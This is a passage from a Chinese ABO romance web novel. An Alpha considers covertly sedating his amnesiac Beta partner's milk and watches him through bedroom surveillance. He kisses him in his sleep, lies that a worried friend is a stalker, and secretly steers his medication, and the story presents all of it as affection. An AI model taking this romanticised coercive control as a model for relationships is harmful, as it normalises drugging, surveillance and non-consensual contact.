宛若正被Alpha从背后拥在怀中。 似乎是为了避免有闭眼或意外,男人还拍了不止一张。 等拍完之后,Alpha才重新拿起了牛奶杯。 “我去倒牛奶。” 严野客离开了客卧,还顺手帮人带上了门。 关门之后,他一秒没停,单手拿着手机,直接把刚才的合照改成了壁纸。 又利落地将其余的几张分别换成了聊天壁纸和朋友圈背景。 随后,严野客才把这些照片发给了当值助理。 让人去冲洗影印。 紧接着,他还把合照一张不少地同样保存进了那个命名为Li的加密文件夹里。 这还是文件夹中的第一次合照。 不过,里面存的单人照片数量却早有不少。 做完这一切,严野客才收好手机,从冰箱里拿出了牛奶盒。 可微波的牛奶杯被重新倒满,拿去加热。 微波炉旋转的轻微声响中,严野客的目光默然落下了一旁。 那个刚刚被他重新拿出的药瓶上。 白色的药瓶已经被拆去了包装,其上也没有任何能分辨的标签。 只有撕去的封口代表它已经被开封。倒出的一颗药丸上,还用很精巧的字体凿刻着两个小字。 安神。 白色的药丸很小一颗,且入水即溶,又因为味道很淡,放进牛奶中更是难以被分辨出来。 药丸外层并没有裹糖衣,融化后也不会发甜。 它不可能被喝下的人察觉发现。严野客早已细密无遗地了解过黎白榆的所有喜好,甚至精细到了解这药对Beta会什么时候起效。 二十分钟就足够。 让Beta安稳沉眠。 牛奶尚在加温,药丸还没有被放进去。 手机屏幕亮起来,严野客扫过一眼。 是特助发来的消息。工作汇报。 严野客白天已经做过检查,特助自然知道他易感期提前的事,上交的公事汇报也尽可能地谨慎小心。 不是因为这时候的老板会易怒暴躁,而是易感期的老板会要求更高。 事项条理、工作效率……各类举止,都需要比本就忙碌的平日更提高一等。 因为上司易感期给开的加班费也是最高等级,所以助理组更没法怠慢轻心。 而收到消息的Alpha眉目冷淡,握着手机单手点按,很快给出了回复,下达了新指令。 对其他Alpha而言,满脑子都是实操动作片的易感期。 却当真丝毫没有影响严野客的判断。 他对黎白榆说的也是实话,易感期的自己会精力更加旺盛。 平日里严野客就对绝大多数事情都不感兴趣,高强度工作也只是因为高精力。 Alpha特有的强悍体力让他精力过盛,但日程被填满之后依然难以满足。 只有黎白榆让他有兴趣。 会让他有满足感,和旺盛的探究欲。 易感期的情况只会比平日更甚,所以假如黎白榆香甜地沉睡一晚。 严野客今晚就有事可做。 可以把过量的精力消耗一点。 “叮!” 一道清脆的声响,提示牛奶已经加热好了。 严野客抬手,把牛奶杯拿了出来。 他又抬眸,睄了一眼白色药丸,伸手把那个药瓶慢慢拧紧。 而在此时,已经回复完消息的手机又亮了。 这次是通话,白天的医生打来的。 严野客不喜欢接电话,但为了实时沟通,他最终还是接起了这次通话。 “严董。” 电话那边的医生询问道。 “您回去之后有出现什么明显不适吗?” 严野客的目光仍落在那枚药丸上,他镜片之后的红眸微眯,似在忖量。 “没有。” 牛奶就在他的手边,刚热好的杯口冒着一点薄薄的雾气。 看着很容易就能将投入其中的东西迅速融化。 说话的同时,Alpha慢慢伸手,将雪白药丸捏入手中。 他的指节和牛奶杯只有几厘米的距离。 下一秒。 严野客动了。 他最终还是转了方向,把药丸扔进了下水口。 一声闷响,白色的药丸顺着管道消失不见。 算了。 黎白榆复查后就在吃新药,药物混合后的成分测定还没出来,假如今晚共同服用,说不定会有意外的副作用。 哪怕可能性极低,或许只有万分之一。 严野客也不愿意拿黎白榆去冒险。 他刚扔掉药,就听电话里医生道。 “那就好。您上次提取信息素后,情况就不太稳定,现在尽量还是刺激为好。” “我们基本上也可以确定,您易感期提前的原因与此有关。” 严野客漫应了一声,还在面无表情地想。 今晚大概率可能无法半夜去客卧将人偷抱了。 早知道,还是预先拿件睡衣出来。 至少看监控时,可以碰到些实物。 等下还要去送牛奶,严野客正冷静地盘算着要找什么合理的借口拿黎白榆的睡衣,又听到医生解释。 “除了提取信息素时,腺体受到了损伤,您的易感期提前也和近日的兴奋有关。” “您正和那位Beta先生住在一起,对吧?他的存在可能激发了您的求偶欲.望,导致这种欲.望比较强烈……” 医生说着,又道。 “当然,这也不全是坏事,虽然您的易感期提前了,但检查结果还显示,您的腺体损伤有明显好转。” “可能是因为求偶导致信息素兴奋的缘故,腺体也被刺激到开始了自我修补……” 严野客:“……。” Alpha面无波澜地抬手,屈指缓缓地蹭了蹭自己的下颌。 所以。 还是该多多刺激? 只用睡衣不够? *** 客卧。 黎白榆又拿了根干燥的发绳,扎好了肩后垂散的金发, 他拿着手机,刚跟远在狮城的蔺空山聊了几句,就又收到了一条新消息。 【王司超A:哈喽,黎美人】 【王司超A:李哥托我来问一下】 黎白榆并不记得这个王司超是谁,也没想起谁是他说的李哥。 换了新手机之后,两人并没有过聊天记录。再看备注上加着Alpha的性别后缀,两人之前大概也不算熟。 黎白榆没能回想起有用的信息,就点开对方的朋友圈,看了一眼。 他发现对方也是北美斯坦福的在读学生,朋友圈里还有商学院的照片,似乎是金融学博士生的仪式活动。 恰在此时,对面发来的新消息又弹了出来。 【你怎么把他给拉黑了呀?】 【你们吵架了吗?】 第 19 章 019 ……吵架? 拉黑? 黎白榆一头雾水, 对这个所谓的“李哥”依然毫无头绪。 这是谁?跟失忆前的自己交集很多吗? 黎白榆可以确认这不是自己同系或同课题组的学生,至少两人在学业相关肯定没有过交集,不然他早就该回想起对方了。 看着对话框里的询问, 黎白榆略一思忖,问。 【你说的是?】 对面好像愣了下。 【王司超A:诶?】 【王司超A:李哥,李景煦】 【王司超A:真吵架了呀[捂脸]?你们不是关系一直很好吗?】 看到这个名字,黎白榆依然没想起来。 他斟酌了一会儿, 旁敲侧击。 【黎Li:请问拉黑是什么时候的事?我前些天手机丢了, 现在还没找回来。】 【王司超A:哦哦, 就在最近】 【王司超A:李哥说你回国后一直没回他信息,这几天换到微信找你, 发现你把他微信拉黑了】 【黎Li:他还在哪里给我发过消息?】 他的手机就是回国后丢的, 没回消息倒也正常。 【王司超A:我问下】 过了一会儿, 对面又说。 【王司超A:在iMessage】 黎白榆屈指蹭了蹭下颌。 啊……这好像有点难办了。 虽然iMessage是品牌手机自带的短信功能,有网络就能发,但黎白榆并没有开启短信的云同步。 所以他现在的新手机上,也是没有过往的短信记录的。 而且在补办了电话卡的当天,因为有垃圾短信发进来, 黎白榆还在严野客的建议下, 把“仅接受联系人的短信”功能给打开了。 他去短信里看了一眼, 果然没有看到这位李景煦的消息。 不知是对方没再发消息过来,还是这位在手机联系人中也被删除了。 这来龙去脉略微有些长, 黎白榆本就不太擅长交际, 正犹豫要怎么编辑解释, 就看到等了一会儿的对面又发来一条新消息。 【王司超A:李哥想问,如果是误会的话,可以把他加回来吗?】 这个黎白榆没太犹豫, 想了想就回道。 【好。】 虽然不记得这位李景煦是谁,但黎白榆仔细想过,发现自己对这个名字并没有明显的不安或违和感。 而且他的手机确实丢了,后续虽然有根据定位之类信息去找,却一直没能找回。 这件事,说不定真的是误会,或是手机丢失后被他人操作。 加回来聊一下也没什么。 唯一有点奇怪的,就是对方好像是仅有的一个被删掉的人。 至少这两天,黎白榆并没有听其他联系人说过类似的事。 也可能其他被误删掉的人还没发现? 黎白榆正想着,对面已经把名片推了过来。 李景煦的头像是个挺有电影感的篮球框,看起来确实是位很典型的男大生。 因为是被黎白榆这边拉黑的,加好友自然也需要黎白榆来操作。 Beta抬手拨弄了一下额前长长了的浅金刘海,低眸看着屏幕,发去了好友申请。 才刚发完,黎白榆就听到门被敲响了。 “请进。” 严野客端着牛奶走了进来,似乎是瞥见他还在捧着手机聊天,微拧了下眉梢,嗓音薄淡。 “不早了。” “嗯,”黎白榆点点头,“那你早点休息——” 男人的话却打断了他:“我说的是你。” Alpha走了过来,把牛奶递到了黎白榆面前。 “休养期间,少看手机,多休息。” 似乎和黎白榆一样很懂得礼貌和避嫌,严野客并没有不客气地直接往Beta手机屏幕上看。 黎白榆随着男人的走近而渐渐抬头,自下方仰起脸,看向对方。 他接过牛奶,也应声:“好。” 被进来的男朋友一分心,黎白榆就暂时先放下了手机。 他还问:“你今天打算什么时候休息?” “快了。” 严野客看着人将牛奶送到唇边,看那本就淡软的唇被白汁染得更润。 他喉结随着回答而轻动,声音说得很沉稳。 “等消耗完多余精力。” 黎白榆长而直的睫毛眨了眨,好奇:“要怎么消耗?” 易感期,总不能再去举铁健身了。 引发激素波动的话,容易会有风险。 严野客垂眸盯望着他,却没回答。 ? 黎白榆又眨了眨眼,旋即才醒悟了一点。 他从Alpha的睇视中自觉地读出了催促,于是加快速度、老老实实地仰头把整杯牛奶给喝完了。 果然,等他喝完,身前人才收回了一点方才的视线, 男人再开口,嗓音也平淡。 “看分析报表。” “……啊,”黎白榆张了张嘴巴,“原来这样。” 跟他看文献放松似乎有异曲同工之妙。 他正准备收拾牛奶杯,手中的杯子却直接被人接了过去。 严野客的体温还是很凉,指腹带一点微糙的薄茧,像裹着薄霜的冰,轻轻擦过黎白榆的指节。 黎白榆怔了怔,旋即就感觉自己又被那霜凉轻蹭了一下。 Alpha拿走了他的杯子,又在他掌心中放了个东西。 “漱下口。” 黎白榆的注意力被那不知从哪拿出的一小杯漱口水吸引,依言漱完了口。 接着,他就见严野客把牛奶和漱口杯都拿走,去了客卧卫生间的洗手池,爽利地冲洗干净了。 始终慢了一拍的黎白榆不由摸了摸自己的鼻尖。 明明是Alpha的易感期,对方还这么悉心地照顾自己。 感觉明明应该自己这么照顾对方才对……如果对方不反感的话。 这样想着,黎白榆也跟了过去,站到了卫生间门边。 因此Beta并没有留意到,被他放在床边桌上的手机屏幕静静亮了起来。 其实黎白榆原本还想着今晚新加好友的事,但从卫生间出来,严野客又问起了关于瞳片的事。 两人详细聊了一下医用隐形和易感期注意事项的相关。 等到聊完,也不算太晚,黎白榆却掩唇打起了呵欠。 他困了。 算算时间,这个点,晚上吃的药大概也该发挥药效了。 黎白榆便没有多想,和Alpha道了晚安,就先休息了。 只是这个夜晚,黎白榆还是没怎么睡好。 或许麻医生新开的药物中,的确有成分会让他不适应。 黎白榆早早睡下,却没能睡沉。 虽然这一晚没有像昨天那样在凌晨醒来,但黎白榆的意识一直浮浮沉沉,始终没能彻底深眠。 迷迷糊糊间,他还隐约感觉到了旁边似乎有人。 唔……? 原本应该是个鬼压床似的恐怖故事,但梦境的发展却很快变了方向。 黎白榆并没有感觉到想动不能动的僵硬,反而察觉出了一点身体被压住的模糊触感。 不算重的压覆并没有引起多少不适,睡梦中,黎白榆甚至还模糊分辨出,自己的脚踝好像被隔着被子捏住了。 隐约地,眉眼发梢都拂来微凉的气息,像是被渐次笼罩的夜雾徐徐吞裹。 在这宁静温缓的夏夜,悄然泛生沁人的凉感。 黎白榆睡得昏沉,始终没能睁开双眼。朦胧间,他的意识也浮浮晕散。 只生出了一个还算清晰的念头。 脚踝和眼梢……都有点凉凉的。 那两颗痣,可能真的都变红了吧…… 等意识真正能凝聚时,已经到了清早。 今天晨间的天气也很好,并不像昨天那样沉暗。 黎白榆清晨醒来,不由回想起了没能睡沉的昨晚。 其实夜里的详情,等睁眼醒后就已经被忘掉了大半。 但剩下的一星半点,却还是很……很劲爆。 很冷艳。 Beta愣愣地,抬手很慢地拨了拨自己睡得翘起的发尾。 那股眉梢眼角的凉意不可能有错,几乎就直白地写着Alpha的名字。 所以昨晚,是—— 他迟疑,颇有点心不在焉,垂散的柔软长发被自己拨弄得更乱了一点。 是春.梦吗? 潜意识里,自己对男朋友已经喜欢到了这种程度? 黎白榆深思。 以至于会有渴求的欲.念? 明明情热期的,也不可能是自己这个Beta。 黎白榆慢吞吞地爬起来去洗漱。他身上并没有什么异样,睡衣、被子、床铺……都好好的,踝骨那边也没有变红。 或许痣的颜色可能有一点变化……但顶多就一点。 黎白榆自己用手擦它还会红呢。 到了洗手台边,黎白榆抬眼,才突然愣了一下。 他终于发现了自己的异样。 不过不是颜色好像艳了一点的眼下痣,而是嘴巴。 黎白榆鼓圆了一点脸颊,把嘴巴在镜中更多地显露出来,好方便查看。 他发现,唇瓣真的被自己咬得有点红。 还真是心底隐藏极深……连自己都没发现的渴望吗? 直到黎白榆刷牙的时候,都感觉下唇还有点痛。 “嘶……唔。” 镜中刚扎起长发的美丽Beta嘴角向下弯了弯,有点郁闷。 他馋严野客的话,干嘛把自己咬得这么用力啊。 还能做梦梦得把自己嘴巴都咬疼了。 黎白榆不由得想起之前衣明诀和他讲,说三个月前得知他恋爱时,联合实验室好多人都惊讶且伤心。 还有人啧啧赞叹,调侃说,大家都知道黎白榆的“榆”,是榆木疙瘩的那个榆。 对一应示好,他向来是来者都拒。 没想到这回,木头却开窍了。 回想起这个说法,黎白榆的思维不由也被带偏了一点。 所以现在自己是榆木开花,思.春了吗? 想到严野客,黎白榆又忍不住觉得似乎有道理。 毕竟。 谁能抵挡粤城夏日里的霜凉冰块的呢? *** 乱七八糟地想了一通,整理完的黎白榆走出客卧,一眼就看到了客厅里的严野客。 Alpha照旧是衣着严整,衬衫立挺,还端了杯咖啡,正对着笔记本在看。 除了还带着那副墨色的遮光镜,他看起来和平日完全没有什么不同。 更让旁人难看出是在过易感期。 黎白榆习惯性地看了一眼温度表,发现上面的信息素浓度检测灯果然没亮。 看来四十八小时的长效抑制剂还在起效。 Beta松了口气,收回视线,并没有察觉,那盏指示灯其实并不是没亮。 只是隔一会儿,才会颤颤巍巍地闪一下。 黄得不明显。 很难被发现。 而Alpha见黎白榆出来,抬眸扫过,镜片后的眉峰似乎蹙了蹙。 “没睡好?”他问。 黎白榆抬指揉了下眼睛,声线还带着未褪的软哑:“有点……” 他昨夜确实睡得不太好,今天就没什么精神。 不过Beta也解释了。 “应该还是那个补铁剂的问题,这两天吃了都有点不舒服……我等下发消息问问麻医生。” 说着,黎白榆就去了客厅另一边,饮水机前去接水。 严野客的目光一直紧随着他,盯锁着那个纤瘦颀长的背影。 对方的姿态举止,与宁然平静的前几日无差。 男人还端着咖啡杯,长指很轻地捻了下微泛冷凝的瓷白杯壁。 看起来,Beta自己就直接把理由都找好补全了。 完全没察觉昨晚的异样。 而黎白榆等吃过早饭,拿手机给麻医生发消息的时候,才察觉。 ……他完全把昨晚加了一个好友的事给忘了。 点开对话框,对面发来打招呼的消息显示在21:02。 而黎白榆记得王司超给自己发名片时,都已经九点了。 看来是他发送了好友申请之后,对面立刻就通过了。 可惜后来黎白榆忘记回复,直接就去睡了。现在对话框里就只有对面独自发送的消息。 【李景煦A:我是李景煦】 【李景煦A:终于联系到你了,白榆,你怎么样?】 【李景煦A:为什么微信把我拉黑了,iMessage也一直未读?】 【李景煦A:手机丢失是怎么回事?你现在人在哪里?】 似乎是很急切,对面昨晚一连发送了多条询问。 直到十一点多,对面始终没有等到回答,才又发了一条。 【李景煦A:休息了吗?晚安。】 而今早刚刚七点,对方又发了一条。 【李景煦A:早,白榆,今天感觉怎么样?】 这都无需细看,就知道对方一直在等。 黎白榆不由生出了些许愧疚。 他先解释了一句,又翻上去看对方的问题,准备逐一回复。 【黎Li:抱歉,昨晚睡着了。】 不过,这条消息才刚发出去,对面就立刻发来了回音。 【李景煦A:没关系,你休息好了就好。】 他似乎就在等回音,而且看起来,这位Alpha同学好像还相当有礼貌。 昨晚黎白榆看王司超的朋友圈,就见他提到过李景煦,说李哥是自己同届同专业的同学。 黎白榆也没有立刻一股脑全信,他习惯性地去学校官网查了一下。 官网有在校生的信息查询。不过,等黎白榆刚点开商学院的主页网址,他就直接看到了李景煦的名字。 那是个题图照片,拍的是金融专业的一次论坛活动。 照片右下角标明了姓名注释,李景煦作为其中唯一的华裔面孔,和其他人一同出镜,而且还站在算是主导地位的中间位置。 他的面容也英气俊朗,是各国审美中都很英俊的那种长相,一看就是相当出色的佼佼者。 即使在斯坦福商学院那种人才辈出、大佬云集的地方,依然如此出众。 这样的同校同学,似乎也没什么理由会故意来骗自己。 黎白榆对他的第一印象也不算坏,又继续解释。 【黎Li:上周我的手机丢失了,没能找回,没及时回复,不好意思。】 他的消息才刚发出去,对面也发来了一条。 【李景煦A:你现在方便视频通话吗?】 黎白榆顿了顿,有点抱歉。 【黎Li:不好意思,可能不太方便。】 客厅里的Alpha似乎也没有休息好,今天眼睛虹膜的血色丁点未减。 刚刚回房前,黎白榆特意叮嘱对方闭目休息一会儿,他自己也准备回卧室小憩一下。 严野客答应了他,如果这时候打电话,很可能会吵到客厅里的Alpha。 【黎Li:你可以发语音,我听就好。】 不过对面并没有直接发语音,还是用了更方便读阅的文字消息。 【李景煦A:好,没事。你现在在哪里?】 【黎Li:在粤城。】 黎白榆其实不太确定他问的是具体地址还是什么,保险起见,就回了个城市。 他还去对方的朋友圈看了看。 李景煦并没有对他设限,朋友圈也没有设置短时间可见。 黎白榆果然看到了商学院的活动照片,还有对方参加斯坦福同乡会、留学生联谊的活动照片。 看起来,这还是位很会社交的风云人物。 不过这些同乡和联谊会的大合照中,并没有黎白榆的身影。 他也没意外。 自己一向很少参加这种聚会。 但朋友圈向下翻,黎白榆的指尖动作却停了一下。 咦。 他看到了一张仅有两人的合影。 那居然是黎白榆和李景煦的照片。 看模样,还是近照。 黎白榆意外更甚,所以……他之前和李景煦真的关系不错? 可他却还是没能回忆起对方的相关事宜。 那边,李景煦还在发消息。 黎白榆便收敛了心神,准备和对方多聊几句。 他和蔺空山也是因为聊天聊及过去,黎白榆回想起了高中时自己跑去蔺空山那边上自习,所以才找回了和对方的记忆。 说不定现在再聊聊,也能谈到触发回忆的事情。 顺便地,黎白榆还给蔺空山发了条消息。 他看到李景煦也是25岁,三人年龄相仿,又都是粤城人,说不定出国留学前就认识。 不过这个时间,空山哥肯定在忙,不会很快回复。 黎白榆给他发完消息,便切回了李景煦的聊天框。 【李景煦A:你去了粤城?我一直在港城找你,没有找到。】 黎白榆有点疑惑。 【黎Li:为什么去港城?】 【李景煦A:你家不是在港城吗?】 【李景煦A:我去了你家,没有见到人,也没有见到你的父母。】 黎白榆反应了过来。 对家庭的事,他不欲多言,只说。 【黎Li:我没回父母那边。】 对面却发来了一个很大的问号。 【李景煦A:[问号]】 【李景煦A:你现在是一个人吗?】 黎白榆刚想回,却又看到。 【李景煦A:你安全吗?现在有没有其他人跟着你?】 ? 黎白榆觉得这话说得好像有点怪。 【黎Li:什么意思?】 对面似乎删删改改,一直显示“正在输入中”。 【李景煦A:你好多天没有消息,白榆,之前不会这样的,我有点担心你】 【李景煦A:我们聊天的时候,你是一个人吗?现在旁边有没有其他人在看你的屏幕?】 黎白榆更有些摸不着头脑,也谨慎地没有立刻直接回。 什么意思,李景煦觉得他被限制了人身自由?不是独自在对话聊天? 不过黎白榆没回,对面却又发来了新消息。 【李景煦A:我现在飞粤城,最早的航班是明天中午的,我们见面聊吧,可以吗?】 黎白榆还有些迟疑,试探着问了一句。 【黎Li:在哪里?粤城塔?】 粤城塔是粤城最著名的地标性建筑之一,也是人流量非常大的公共场合。 假如对方心里有鬼,估计很难会同意在这种地方见面。 没想到,对面却直接答应了,几乎没有一秒犹豫。 【李景煦A:可以。】 那他应该没有恶意……黎白榆想,至少做不了什么明目张胆的坏事。 对面紧接着还问。 【什么时候?】 【黎Li:后天下午你方便吗?】 黎白榆后天恰好要出门,帮同门师妹去粤城塔旁边的商场买个东西,听说是什么限量的徽章,还只能线下到店才能买。 他会突然想到并提起粤城塔,也是因为这件事。 对方明天飞的话,后天下午本来就很赶,黎白榆也没有把时间定得太死。 但李景煦似乎更着急,立刻发来的时间是想约明晚,见他说了后天,才把自己发的那条撤回了 【李景煦A:听你的,看你方便。】 聊到这儿,基本谈得差不多,黎白榆又接到了麻医生的电话,就没有和李景煦再继续。 麻医生打电话来是因为看到了黎白榆早上发的消息,说他可能确实对补铁剂的成分敏感,让他先把新药停一天试试看。 黎白榆应下来,和医生聊完,才有时间再去李景煦的朋友圈细看。 究竟为什么会拉黑对方,直到此时,他仍是没有回想起来。 黎白榆去看了那张两人的合影,照片是李景煦拿着手机拍的,而黎白榆则是侧脸,没有抬头,似乎正在看面前桌上的东西。 Beta还仔细辨认了一下,看这里是不是哪个实验室或者自习室,有没有眼熟的布景。 但似乎并没有。 而且照片的主体就是两个人,露出的背景内容本身也很少。 这张朋友圈的下面有几个共同好友点赞,但黎白榆点进去,就发现这些好友都只是斯坦福的同学,并没有熟到可以去直接问关系的地步。 下面还有一条留言,是王司超发的:帅上加帅[点赞][点赞][庆祝][庆祝] 黎白榆也想过,会不会是两人不熟,李景煦未经同意,贸然发了自己的照片,所以才被自己拉黑了。 可是这照片是三个月前发的,也不至于等到最近才突然拉黑。 黎白榆苦思冥想了一会儿。其实这段时间以来,他的记忆已经有明显复苏,一些课题中接触过的同学,还有蔺空山这样的亲友,都能被他大致回忆起来。 如果李景煦真的跟他关系很好,为什么会没有一点印象? 不过Beta转念一想,有严野客这个例子在前,也不好说。 至少他对自己失忆前和严野客的相处,是一点都没回忆起来的。 思忖到这儿,黎白榆又想。 不然可以去找严野客问一下? 既然两人都是斯坦福商学院,还是学金融的留学生。 说不定真的可能认识。 这样想着,黎白榆也没有立刻行动。 他还等了好一会儿,确认Alpha即使闭目休息,也歇缓够了之后,才轻声地推开了客卧的门。 这两天,他深刻地意识到了易感期的Alpha有多么煎熬。 而对严野客,黎白榆更是感觉自己基本没看到他在休息。 此时男人也没有睡着,而是拿着显示有指数曲线的平板,在圈画着什么。 听到黎白榆问起自己疑惑,刚放下平板的严野客皱了皱眉,墨色镜片后的眉廓似有不悦。 “李景煦?” “他又找你了?” “我……”黎白榆顿了顿,换了个词,“我们认识他?” 他感觉Alpha对此事似乎没有特别意外,还像是早有所知。 严野客果然也冷着一张俊脸,回答了他。 “他是你的追求者,确切说,是纠缠者。” “……” 黎白榆愣了。 ……啊? 而不远处,沙发上的Alpha沉眉肃色,声线漠寒,似乎这人的出现非常不应该。 “他对你死缠烂打,之前骚扰你很久了。” “怎么又发来了消息,他不是已经被你拉黑了么?” 第 20 章 020 黎白榆完全没想到会是这个答案。 死缠烂打……才被拉黑了? “他偷拍了你的照片。” 像是知道黎白榆的疑惑, 严野客直接给出了更具体的解答。 “还喜欢对你说一些似是而非的话,显得你们关系很近似的。” “实际上,你和他根本不熟。” 说这话的Alpha神色不虞, 但也没有失却平日的沉着。 再加上他一贯周谨严肃的性格,此时斩钉截铁的语气,便更容易让人取信。 很难认为是诋毁和偏颇。 而Beta听着,再回想刚刚自己和李景煦的聊天…… 被严野客说的, 黎白榆都觉得刚才那对话好像有点不对劲了。 李景煦的确有些欲言又止, 询问的语气也不直接, 像是在有意隐藏着什么。 黎白榆也还不能确定,这是由于对方心有顾虑, 还是因为两人当真不熟。 而以黎白榆的性格, 像“你以前不会这样”之类的话, 李景煦对他说,又似乎的确有些……越界。 就好像,两人的关系不止于同校的同学。 不过对严野客的话,黎白榆也还存有些疑惑。 “他这样做了……很长时间吗?” Beta有点纳闷。 按理说,如果对方真的很不礼貌, 自己应该很早就和他切断了联系才对。 严野客抬眸看他, 即使隔着墨色镜片, 黎白榆也读出了对方神情中冷冰冰的不满。 “很长。” “那……” 黎白榆刚想问,就听Alpha接着道。 “将近三个月了。” 这个时间听起来好像有点耳熟。 没等黎白榆细想, 严野客已经解答了他没问出口的疑惑。 “你之前容忍他, 是因为你们在同乡会参加活动。现场做饭, 李景煦抽到了你做的菜,吃完之后,他腹泻了。” “…………” 黎白榆没忍住, 默默摸了摸鼻尖。 好……好吧。 可能他还是老问题,没能做熟。 是活动现场没有榨汁机吗? 黎白榆还在认真回忆自己在同乡会上做了什么,怎么没选择最拿手的菜式,就又听严野客说。 “但那是他自己的问题。你忍让是因为你有礼貌、涵养好,可他腹泻和你有什么关系?” “是他自己不领情。” 平日里本就少有温度的Alpha此时神色更为沉郁,让人一眼可见他的不虞。 “像这种人根本不需要容忍,他浪费了你的时间,还浪费了你做饭所花的精力和心意。” 黎白榆:“……” 也……也没那么严重吧? 听起来,好像就差说李景煦腹泻也是他自己的错了。 黎白榆听得都有点不好意思,不过,他又想到这段时间相处中,严野客对食物的态度一直如此认真,还时常坚持亲自下厨。 Alpha也说过,喜欢看黎白榆吃饭很香的模样。 这么想,严野客会讨厌不捧场的客人……似乎也正常。 而且之前,Alpha也这样表示过。 黎白榆想起,他和对方讲自己的拿手菜“意大利面夹热狗”时,提起过自己曾把这个菜做给同学吃,让同学吃得有些不舒服。 那时,严野客也认为是对方不会欣赏,还建议他下次别给人做了。 “他这次找你说了什么?”严野客问。 知道了Alpha讨厌李景煦的原因,黎白榆也自觉地避开了食物的话题,解释说。 “他说他去港城找我了,没见到我,想来粤城和我见个面。” Beta把两人对话大致描述了一下,说得虽然简略,但和严野客方才看到的实时记录都一样。 这让Alpha镜片之后的眸中血色终于稍稍平缓了一分。 黎白榆信任他。 会想着和他商量,来一起去解决问题。 这个认知,让严野客闷躁难平的易感期都短暂地宁和了一瞬。 所以此时,他也选择了最恰宜的方式,表现得很尊重且冷静,没有替对方擅作主张。 “你想去见他?” 不过即使如此,Alpha也不忘委婉地提醒,不动声色地暗示。 “他之前也约过你见面,你没答应。” 黎白榆果然表现出了一点犹豫。 考虑之后,Beta才道:“我还是想去见一下。” 说不定可以回想起一些事。 “反正后天本来也要去粤城塔,我可以在附近找个地方和他见面,如果不愉快的话,就直接回来。” 严野客垂眸,捏着咖啡杯柄的指骨无声地收紧了一分。 面上,他依然未有波澜。 “好。” Alpha的声线也沉稳淡然。 “后天我陪你去。” 黎白榆略有迟疑:“后天……你还在易感期。” “外出的话,可以吗?” 虽然易感期不是不能外出,但肯定会有不便。 尽管严野客昨天出门去检查,没有戴止咬器。但他可是注射了长效抑制剂,还带了隔离贴。 对Alpha来说,隔离贴的异物感原本就难以忽视,在易感期贴上,只会更为束缚且不适。 严野客却直接道:“可以。” 他说得轻描淡写,丝毫没有提及自己昨天外出,惹得多少随行人员和当值助理严阵以待、如临大敌。 易感期的Alpha具有极强的攻击性,只会对自己标记的伴侣百依百顺——这是社会共识。 而像严野客这种信息素浓度这么高、身体素质又这么强的Alpha,临时外出,需要考虑的问题和风险就更多。 下属们既担心他的身体,又担心本就威压甚重的顶头上司,在突然提前的易感期会更难应对。 也担心信息素浓度过高的严野客外出,会影响沿途的其他AO,引发计划外的骚动。 但严野客的平静就好像他根本不在易感期,不可能失控。 他说:“有抑制剂。” 提到这个,黎白榆又不禁提醒。 “那这次不要再从腺体注射了。” Alpha也淡然应了:“嗯。” 虽然他的目光并不像应声的平稳,漆深的镜片之后反而又有瞳膜血色的无声翻涌。 透过暗色的眼镜,严野客紧盯着自己视野中唯一的多彩与生动。 ——他担心我。 这个认知,足以让严野客在灼燥的易感期心生愉悦。 连遇到的不应该出现的闲杂人等,也没那么极端地碍眼了。 *** 当晚,黎白榆按麻医生所说,暂时停了新药。 严野客又给他端来了牛奶。 不过这次,牛奶里也没加多余的东西。 严野客还是准备等新药尝试的效果稳定了再说。 是夜,更深人静,万籁无声。 客卧的房门被Alpha悄无声息地推开时,卧室里的人也早已经安稳地睡着很久了。 一片昏晦的暗色中,严野客望向了床上的修长身影。 无光的环境,他终于不再用戴遮光镜。 血色瞳膜中的情绪也没有了丁点隐藏。 黎白榆今晚看起来的确比昨日睡得好,想来是因为那款被停用的新药。 出院后,黎白榆服用的这些药都是身为知名三甲的粤城第一人民医院的主任医师开的,严野客原本暂时没打算插手。 因为医院与药物这类事宜,与黎白榆的研究领域相关。 插手太多,很可能会被他看出端倪。 三甲公立医院更容易被失忆的Beta取信,而公立医院,也意味着不可能像专人投资的私立医疗那样特意陪着演戏。 这种前提之下,情况越顺势自然越好。 强加干涉,很容易显得刻意。 不过现在,Beta已经被新药造成了不适,严野客也没再耽搁。 他直接差人去实施了行动。 明天,会有一款更适宜黎白榆的、效果更好的补铁新药剂,被按正规流程推荐到麻医生那里。 换药之后,黎白榆也不会再被影响休息了。 Alpha缓缓走到床边,昏暗的黑沉中,严野客的视野却反而比有光的环境更优越。 他站在床侧,无声地凝视着安睡的青年。 那冰冷的血瞳,如蛰伏的凶兽。 于夜色中再无遮饰。 虽然之前的严野客从无体会,更始终认为,易感期不会对自己产生任何影响。 但这一次,情况似乎也有了破例。 前些夜晚,严野客只凭入睡后的卧室监控,还能暂且将自己的心绪稳定。 但此时,他却更渴望靠近。 尤其在昨天步入易感期之后。 来客卧之前,严野客刚打了第二针长效抑制剂。 虽然距离第一针间隔其实还不够两天,这针已经提前了几小时。但眼下,Alpha却还能感受到体内血气的翻涌,欲色的叫嚣。 他盯看着黎白榆,黑暗中,Beta身形清瘦,廓线纤秀。 过长的睫毛显映出淡色的晕影,有着诱人去碰的薄软。 像什么细嫩的、过分美丽的绒绒翎羽。 严野客抬手,缓缓把被青年团抱在怀里的夏凉被抽拽出小半,披盖在黎白榆的身上。 他夜入黎白榆的卧室,没有其他意思。 主要是来给Beta盖好被子。 免得着凉。 只是黎白榆自己贪凉,会主动往冷源这里贴靠。 严野客才刚把手臂碰近对方怀中,为他整理胸前的薄被,就被睡梦中无意侧身的Beta所压碰到。 严野客无可奈何地被抱住了。 他毫无办法,只能顺势俯身,被迫靠近了对方。 严野客也没想去亲Beta,不愿去做打扰黎白榆好眠的事。 但他的嘴巴想。 易感期的Alpha,原来真的会被波动的激素影响到身体各个器官的举止。 昨夜的影响更显著一分,严野客的唇擅作主张去行动时,还不小心让睡梦中的黎白榆咬到了自己的下唇。 今天白日里看Beta说话,似乎他有时还会牵扯到微疼。 所以今晚严野客更慎重了一分,即使唇贴得极近,也先让自己微凉的指节去蹭贴了贴。 只是想试试Beta的唇还会不会痛,嘴巴干不干。 需不需要润一下。 但似是察觉到了凉感,阖目安睡的青年却主动偏头,贴上了严野客的指尖。 两人的距离原本就极近,轻浅触碰的半个指尖没能遮挡,反而让贴靠过来的Beta,半覆上了严野客的唇。 “…………” 暗夜之中,血色无声翻涌。 严野客极缓地起伏了一下胸膛,比之前所有任何时候都庆幸——易感期的自己会体温明显转凉。 不然,以Alpha性别的普遍体质,他不确保自己现在会不会直接把黎白榆烫到。 